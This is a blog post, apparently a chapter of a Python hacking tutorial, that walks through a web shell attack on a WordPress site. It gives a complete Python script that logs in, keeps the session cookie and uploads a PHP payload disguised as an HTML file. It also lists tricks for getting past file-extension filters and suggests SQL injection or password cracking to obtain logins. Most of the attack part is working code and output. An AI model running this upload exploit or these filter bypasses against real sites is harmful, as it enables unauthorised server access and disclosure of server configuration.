Post List

Monday, October 29, 2018

10. Web Shell Attack


A Web shell is a program that contains code that can be delivered as commands to the system. A Web Shell can be created by using simple server-side scripting language (jsp, php, asp, etc.). The file upload functionality provided by the website can be used to upload your Web Shell file, and it can be executed by calling the next URL directly. Most websites block the Web Shell attack by checking the extension of the file, and there are many evasion techniques. Let's look briefly at Web Shell attacks by hacking a web site that has been developed in the php language.

Figure 10-1 Web Shell Hacking Concept

A bulletin board can be used by a hacker to upload an executable file (php, html, htm, cer, etc.) on a web server. For example, let's say the name of the file is “webshell.php”. A hacker plants code that can hack the system inside the file. Hackers run webshell.php via URL calls and attempt a variety of attacks while changing the input value. It is possible to accomplish various types of attacks, such as stealing data from the server, collecting server information, gaining administrator privileges, browsing the source code, and inserting malicious script. Once the Web Shell file is uploaded to the server, a hacker is able to hack the system without permission. Therefore, the functions of a Web Shell are fatal.
Let's install a simple program to test a Web Shell attack. The file upload program in Wordpress is made with Flash, so it cannot be easily inspected through the HTML source code. Let’s download and install the HTTP Analyzer (http://www.ieinspector.com/download.html). This program can monitor browser communication over the HTTP protocol.

Figure 10-2 HTTP Analyzer download

Let's run the HTTP Analyzer program when the installation is complete. Log in to the WordPress site and then click the “Add New” button to open the web page to create a new topic. When you click the “Add Media” button, you can use the file upload feature. Before you upload a file, click the “start” button on the HTTP Analyzer first. HTTP Analyzer records all of the information that is transferred to and from the server.

Figure 10-3 HTTP Analyzer Execution Screen

You can view a variety of information sent through the HTTP protocol in the lower part of HTTP Analyzer. The HTTP protocol is composed of the Header and the Body. The Header includes a variety of information, such as the calling URL, language, data length, cookies, etc. The Body has data that is sent to the web server. Let's now analyze the Header and Post Data that contain the core information.

Figure 10-4 HTTP Header

First, let's find the Header information. “Request-Line” contains the address of the web server corresponding to the browser’s service call. This service takes a file that is stored on a server. “Content-Type” describes the type of data that is being transmitted. In the case of a file transfer, the date is transferred in the “multipart/form-data” format. “Content-Length” denotes the size of the data that is to be transferred. “Accept-Encoding” specifies the HTTP compression format that is supported by your browser. If the server does not support the compression method specified for the client or if the client sends a header with an empty “Accept-Encoding” field, the web server transmits uncompressed data to the browser. “User-Agent” specifies the browser and user system information. The server transmits the information in a form that is suitable for the user's browser by using this information. “Cookie” contains the information that is stored in the browser. When you request the web server, the cookie information is automatically sent to the web server stored in the header.

Figure 10-5 HTTP Header

Next, let's look at the information in the Body. The data that is to be sent to the server as a POST method is stored in the Body in the “key, value” format. In the case of a file transfer, boundary information is inserted into the “Content Type” in the header.
Basic information was collected for the Web Shell attacks, and now let's try an authentic Web Shell attack. First, create a php file where the server can easily collect server information as follows.


<? phpinfo(); ?>
Figure 10-6 webshell.html

WordPress is limited to uploading a file with the “php” extension. Therefore, the file can be uploaded by changing its extension to “html”. The PHP code that is contained in the html file can be executed in the same was as a normal php file. If webshell.html is running normally, the hacker can obtain a wide range of environmental information for the Web server, and vital information will be exposed including the PHP environment, Apache installation information, system environment variable, and MySQL configuration.
The procedures for the webshell.html file upload are simple.

Figure 10-7 Web Shell Attack Procedures

Ensure that any data sent to any web page is analyzed with the corresponding HTTP packets. The majority of file upload pages verify authentication, so you should know the login information. If it is possible to log in by signing up, this will be easer. The detailed procedure is as follows:

(1) Login: First, you should know the login information. To obtain authentication information through the sign up process, conduct a SQL Injection attack or a Password Cracking attack.

(2) Saving Cookie: The browser uses cookies to maintain the login session with the Web server, and the Python program stores cookies received after authentication as a variable. Then, it transmits the cookie stored in the variable to the web server without conducting an additional authentication process. The Python program can therefore be used to send a file repeatedly while maintaining the login session.

(3) Loading File: Uploading the executable file via a URL involves repetitive tasks that are required. Some files are executable on an Apache server, such as php, html, cer, etc. Therefore, most sites prevent uploading these files for security reasons. To bypass these security policies, files with a different file name can be created. Through repetitive tasks, the files are uploaded to the server to identify vulnerabilities, and the data is then loaded by reading the file.

(4) Setting Header: It is necessary to set information when transmitting data to the server. Set the information to the header fields such as “User-Agent”, “Referer”, “Content-Type”, etc.

(5) Setting Body: Store the data that is to be transmitted to the server in the Body. It is possible to obtain the basic settings that are required when uploading the file through an HTTP packet analysis. The rest consist of file-related data. Each of the data are transmitted separated by “pluploadboundary”

(6) Transfering File: Call the server page with the Head and Body information that was previously prepared. If the transmission is successful you can call the Web Shell program via a URL corresponding to the location where the file was uploaded. If the transmission fails, go back to Step (3) and send the file again.

Let's create a program to upload a full-fledged Web Shell file. Many scripts for a Web Shell attack are available on the Internet. The file transfer process is divided into three stages: Login, Form data setting and file transfer. First, the login program is implemented as follows.


import os, stat, mimetypes, httplib
import urllib, urllib2
from cookielib import CookieJar
import time
cj = CookieJar()                                                    #(1)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) #(2)
url = "http://server/wordpress/wp-login.php"
values = {
    'log': “python”,
    'pwd': “python”
}
headers = {
    'User-Agent':'Mozilla/4.0(compatible;MISE 5.5; Windows NT)',
    'Referer':'http://server/wordpress/wp-admin/'
}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = opener.open(request)                                    #(3)
Example 10-1 Login

The “cookielib” module is used to manage the cookies. The module searches for the cookie information in the HTTP Response and supports the ability to save it in a usable form. This module is essential to request the required authentication page.

(1) Creating the CookieJar Obejct: The “CookieJar” class extracts the cookie from the HTTP “Request” object and is responsible to return the cookies to HTTP Response object.

(2) Creating the Opener Obejct: Create an “Opener” object that can call a service by using the HTTP protocol. The object provides the open method that receives “Request” object as an argument.

(3) Calling Service: When the service makes a call through the “Opener” objects, the login information is maintained, and you can call the service without stopping. Changing the Header and the Body value of the Request object makes it possible to change the service call.

The above example invokes the login page while passing the username and the password as values. You can obtain the cookie information and the successful login message as a result. In general, the “multipart/form-data” value is inserted into the “enctype” attribute of the form tag. When uploading files, the body is configured unlike in the typical POST method.


import os, stat, mimetypes, httplib
import urllib, urllib2
from cookielib import CookieJar
import time
def encode_multipart_formdata(fields, files):                                    #(1)
    BOUNDARY = "--pluploadboundary%s" % (int)(time.time())                        #(2)
    CRLF = '\r\n'
    L = []
    for (key, value) in fields:                                                      #(3)
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)
    for (key, fd) in files:                                                     #(4)
        file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
        filename = fd.name.split('/')[-1]
        contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        L.append('--%s' % BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
        L.append('Content-Type: %s' % contenttype)
        fd.seek(0)
        L.append('\r\n' + fd.read())
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body
fields =  [                                                                    #(5)
    ("post_id", "59"),
    ("_wpnonce", "7716717b8c"),
    ("action", "upload-attachment"),
    ("name", "webshell.html"),
           ]
# various types file test
fd = open("webshell.html", "rb")                                                #(6)
files = [("async-upload", fd)]
content_type, body = encode_multipart_formdata(fields, files)                     #(7)
print body
Example 10-2 Setting Form Data

The general data and the file data have different data formats. Therefore, setting up the various pieces of data requires using complex tasks. For the sake of simplicity, the structure is separated into a separate class.

(1) Declaring Function: Declare a function that takes two lists as arguments. Transfer the data and the attached files into a form-data format.

(2) Setting Boundary: When you generate the form-data, each value is distinguished by a “boundary”. Set this to the same format as the “boundary” identified in the HTTP Analyzer.

(3) Setting the Transferred Data: When creating the class, the list of fields is passed as an argument. Transform the value into a “form-data” type. Each value is separated by the “boundary”.

(4) Setting the Transferred File: When creating the class, the list of files is passed as an argument. Transform the value into a “from-data” type. The “filename” and “contentType” fields are additionally set. Enter the file contents into the data section.

(5) Setting Fields: Specify all values that are passed to the server except for the file data. Set all the values that were ​​identified in the HTTP Analyzer. In WordPress, this value is generated once and is invalidated after a certain period of time. Therefore, do not use the same values in this book, you must get it through a direct analysis with HTTP Analyzer.

(6) Opening File: Generate the list of files that are passed as an argument to the class by opening the file. At this time, “async-upload” which is equivalent to “name”, is the value that is confirmed in HTTP Analyzer.

(7) Creating the Form Data: When you create a class to return “content-type” and “body” as results. “body” corresponds to the “Form” data. Pass both values ​​when calling the URL for a file upload.

The “Form” data is set as follows.


----pluploadboundary1398004118
Content-Disposition: form-data; name="post_id"


59
----pluploadboundary1398004118
Content-Disposition: form-data; name="_wpnonce"


7716717b8c
----pluploadboundary1398004118
Content-Disposition: form-data; name="action"


upload-attachment
----pluploadboundary1398004118
Content-Disposition: form-data; name="name"


webshell.html
----pluploadboundary1398004118
Content-Disposition: form-data; name="async-upload"; filename="webshell.html"
Content-Type: text/html


<? phpinfo(); ?>
----pluploadboundary1398004118--
Figure 10-8 Form Data

Common data was placed in the upper part and contents were placed at the bottom. The “Form” data is palced in the HTML Body part and the Header is set. When you call the URL that is responsible for the file upload, all of the processes are terminated. In general, files with extensions that can be run on the server cannot be uploaded for security reason. Therfore, the extension has to be changed, and I attempt to hack repeatedly as follows.

• Inserting Special Characters: Place characters such as %, space, *, /, \ that can cause errors during the file upload operation.

• Repeating Extension: Use repeated extensions such as “webshell.txt.txt.txt.php”, “webshell.txt.php”, etc.

• Encoding: Use a circuitous way such as “webshell.php.kr”, “webshell.php.iso8859-8”, etc.

WordPress does not have security settings that limit uploading files with the “html” extension. If the html file includes php code, the server executes the code and sends the results to the client. Therefore, the html file may work as a php file. In this example, omit the process to change the file name and to hack repeatedly. Upload the html file, and then analyze the server environment.
Now, let’s complete the hacking program by combining the codes that were previously described, and verify the results.


import os, stat, mimetypes, httplib
import urllib, urllib2
from cookielib import CookieJar
import time
#form data setting class
def encode_multipart_formdata(fields, files):
    BOUNDARY = "--pluploadboundary%s" % (int)(time.time())
    CRLF = '\r\n'
    L = []
    for (key, value) in fields:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)
    for (key, fd) in files:
        file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
        filename = fd.name.split('/')[-1]
        contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        L.append('--%s' % BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
        L.append('Content-Type: %s' % contenttype)
        fd.seek(0)
        L.append('\r\n' + fd.read())
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body
#make a cookie and redirect handlers
cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
#login processing URL
url = "http://server/wordpress/wp-login.php"
values = {
    "log": "python",
    "pwd": "python"
}
headers = {
    "User-Agent":"Mozilla/4.0(compatible;MISE 5.5; Windows NT)",
    "Referer":"http://server/wordpress/wp-admin/"
}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = opener.open(request)
#fileupload processing URL
url = "http://server/wordpress/wp-admin/async-upload.php"
fields =  [
    ("post_id", "59"),
    ("_wpnonce", "7716717b8c"),
    ("action", "upload-attachment"),
    ("name", "webshell.html"),
           ]
fd = open("webshell.html", "rb")
files = [("async-upload", fd)]
#form data setting
content_type, body = encode_multipart_formdata(fields, files)
headers = {
    'User-Agent': 'Mozilla/4.0(compatible;MISE 5.5; Windows NT)',
    'Content-Type': content_type
    }
request = urllib2.Request(url, body, headers)
response = opener.open(request)
fd.close()
print response.read()


The detailed procedure will be omitted here because it has been previouly described. The opener object generated by the log-in process contains cookie information, and when you call the URL using the opener object, the cookie in the HTTP Header is transmitted to the web server. Therefore, the authentication process becomes possible. After uploading the file, the web server produces a response that includes the URL for the file that was uploaded. You can now easily run a Web Shell attack with that URL.

{"success":true,"data":{"id":64,"title":"webshell","filename":"webshell.
html","url":"http:\/\/server\/wordpress\/wp-
content\/uploads\/2014\/04\/webshell.html","link":"http:\/\/server\/word
press\/?attachment_id=64","alt":"","author":"1","description":"","captio
n":"","name":"webshell","status":"inherit","uploadedTo":59,"date":1.3979
1236e+12,"modified":1.39791236e+12,"menuOrder":0,"mime":"text\/html","ty
pe":"text","subtype":"html","icon":"http:\/\/server\/wordpress\/wp-
includes\/images\/crystal\/code.png","dateFormatted":"2014\ub144 4\uc6d4
19\uc77c","nonces":{"update":"f05a23134f","delete":"9291df03ef"},"editLi
nk":"http:\/\/server\/wordpress\/wp-
admin\/post.php?post=64&action=edit","compat":{"item":"","meta":""}}}
Figure 10-9 fileupload.py Execution Result
You can find “http://server/wordpress/wp-content/uploads/2014/04/webshell.html” in the “url” entry. Paste it into the browser address bar with some changes, like this “http://server/wordpress/wp-content/uploads/2014/04/webshell.html”. You can see the result as follows.

Figure 10-10 webshell.html
The hacker gains many advantages by being able to change the HTTP Header and Body data provided by the program. For example, the web server sometimes changes the UI and the script according to the “User-Agent” field. Hackers can therefore try various attacks by arbitrarily changing the value for “User-Agent”.


No comments:

Post a Comment

27.Python Stack-Based Buffer Overflow

27.1 Introduction   Figure 27-1 Stack Based Buffer Overflow Basic Concept Stack-based buffer overflow techniques takes advantage...